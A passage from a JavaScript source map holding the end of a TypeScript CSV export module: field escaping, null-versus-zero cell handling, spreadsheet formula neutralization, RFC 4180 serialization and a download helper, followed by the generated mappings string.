string, delimiter: string, guardSeparators: boolean): string {\n const mustQuote =\n value.includes(delimiter) ||\n (guardSeparators && LIST_SEPARATORS.test(value) && !PLAIN_NUMBER.test(value)) ||\n value.includes('\"') ||\n value.includes(\"\\n\") ||\n value.includes(\"\\r\");\n if (!mustQuote) return value;\n return `\"${value.replaceAll('\"', '\"\"')}\"`;\n}\n\n/**\n * Stringify one cell, keeping the difference between \"no value\" and \"zero\".\n *\n * `null` and `undefined` become an empty field; `0` and `false` are values\n * somebody chose and are written out. Getting this backwards is how an export\n * ends up under-reporting every row that legitimately holds a zero.\n *\n * Text — a string, or anything else stringified — goes through the formula\n * neutralization when it is on; numbers, bigints and booleans never do, since none\n * of them can stringify to a formula.\n *\n * @param value - The raw cell value.\n * @param neutralize - Whether to neutralize a formula-looking text field.\n * @returns The text to write.\n */\nfunction cellText(value: unknown, neutralize: boolean): string {\n if (value === null || value === undefined) return \"\";\n if (typeof value === \"number\" || typeof value === \"bigint\" || typeof value === \"boolean\") {\n return String(value);\n }\n if (value instanceof Date) return value.toISOString();\n return neutralize ? neutralizeFormula(String(value)) : String(value);\n}\n\n/**\n * Serialize rows to CSV text, RFC 4180 style.\n *\n * Rows are separated by `\\r\\n` — the RFC's terminator and the one Excel is least\n * surprised by. Text that a spreadsheet would evaluate as a formula is written\n * with a leading `'` unless `neutralizeFormulas` is `false` (see\n * {@link CsvOptions.neutralizeFormulas}). A row is emitted for the header even when `rows` is empty, so the\n * person who opens the file sees which columns they asked for instead of a blank\n * document.\n *\n * @example\n * const csv = toCsv(users, [\n * { key: \"name\", header: \"Nome\" },\n * { key: \"email\", header: \"E-mail\" },\n * { key: \"plan\", header: \"Plano\", csv: (user) => user.plan.label },\n * ]);\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param options - Delimiter, BOM and formula neutralization.\n * @returns The complete file contents.\n */\nexport function toCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n options: CsvOptions = {},\n): string {\n const { delimiter = \",\", bom = true, neutralizeFormulas = true } = options;\n\n const lines = [\n columns\n .map((column) =>\n escapeField(\n cellText(column.header, neutralizeFormulas),\n delimiter,\n neutralizeFormulas,\n ),\n )\n .join(delimiter),\n ];\n\n for (const row of rows) {\n const cells = columns.map((column) => {\n const raw = column.csv\n ? column.csv(row)\n : (row as Record<string, unknown>)[column.key as string];\n return escapeField(cellText(raw, neutralizeFormulas), delimiter, neutralizeFormulas);\n });\n lines.push(cells.join(delimiter));\n }\n\n return `${bom ? BOM : \"\"}${lines.join(\"\\r\\n\")}`;\n}\n\n/**\n * Build a CSV and hand it to the user.\n *\n * Goes through {@link shareOrDownloadBlob}, so on a phone it opens the native\n * share sheet and everywhere else it downloads — the same path every other\n * generated artifact in the SDK takes, instead of a fourth hand-rolled `<a\n * download>`.\n *\n * @example\n * await downloadCsv(users, COLUMNS, \"usuarios.csv\");\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param fileName - File name offered to the user. Default `\"export.csv\"`.\n * @param options - Delimiter, BOM and formula neutralization, forwarded to\n * {@link toCsv}.\n * @returns A promise that resolves once the share or download completes.\n */\nexport async function downloadCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n fileName = \"export.csv\",\n options: CsvOptions = {},\n): Promise<void> {\n const blob = new Blob([toCsv(rows, columns, options)], {\n type: \"text/csv;charset=utf-8\",\n });\n await shareOrDownloadBlob(blob, fileName);\n}\n"],"mappings":";;AAqBA,IAAM,IAAM,KA4DN,IAAkB,gBAQlB,IAAe;AAyBrB,SAAS,EAAkB,GAAuB;CAE9C,OADI,MAAU,OAAO,EAAa,KAAK,CAAK,IAAU,IAC/C,EAAgB,KAAK,CAAK,IAAI,IAAI,MAAU;AACvD;AASA,IAAM,IAAkB;AAoBxB,SAAS,EAAY,GAAe,GAAmB,GAAkC;CAQrF,OANI,EAAM,SAAS,CAAS,KACvB,KAAmB,EAAgB,KAAK,CAAK,KAAK,CAAC,EAAa,KAAK,CAAK,KAC3E,EAAM,SAAS,IAAG,KAClB,EAAM,SAAS,IAAI,KACnB,EAAM,SAAS,IAAI,IAEhB,IAAI,EAAM,WAAW,MAAK,MAAI,EAAE,KADhB;AAE3B;AAiBA,SAAS,EAAS,GAAgB,GAA6B;CAM3D,OALI,KAAU,OAAoC,KAC9C,OAAO,KAAU,YAAY,OAAO,KAAU,YAAY,OAAO,KAAU,YACpE,OAAO,CAAK,IAEnB,aAAiB,OAAa,EAAM,YAAY,IAC7C,IAAa,EAAkB,OAAO,CAAK,CAAC,IAAI,OAAO,CAAK;AACvE;AAwBA,SAAgB,EACZ,GACA,GACA,IAAsB,CAAC,GACjB;CACN,IAAM,EAAE,eAAY,KAAK,SAAM,IAAM,wBAAqB,OAAS,GAE7D,IAAQ,CACV,EACK,KAAK,MACF,EACI,EAAS,EAAO,QAAQ,CAAkB,GAC1C,GACA,CACJ,CACJ,CAAC,CACA,KAAK,CAAS,CACvB;CAEA,KAAK,IAAM,KAAO,GAAM;EACpB,IAAM,IAAQ,EAAQ,KAAK,MAIhB,EAAY,EAHP,EAAO,MACb,EAAO,IAAI,CAAG,IACb,EAAgC,EAAO,MACb,CAAkB,GAAG,GAAW,CAAkB,CACtF;EACD,EAAM,KAAK,EAAM,KAAK,CAAS,CAAC;CACpC;CAEA,OAAO,GAAG,IAAM,IAAM,KAAK,EAAM,KAAK,MAAM;AAChD;AAoBA,eAAsB,EAClB,GACA,GACA,IAAW,cACX,IAAsB,CAAC,GACV;CACb,IAAM,IAAO,IAAI,KAAK,CAAC,EAAM,GAAM,GAAS,CAAO,CAAC,GAAG,EACnD,MAAM,yBACV,CAAC;CACD,MAAM,EAAoB,GAAM,CAAQ;AAC5C"}
|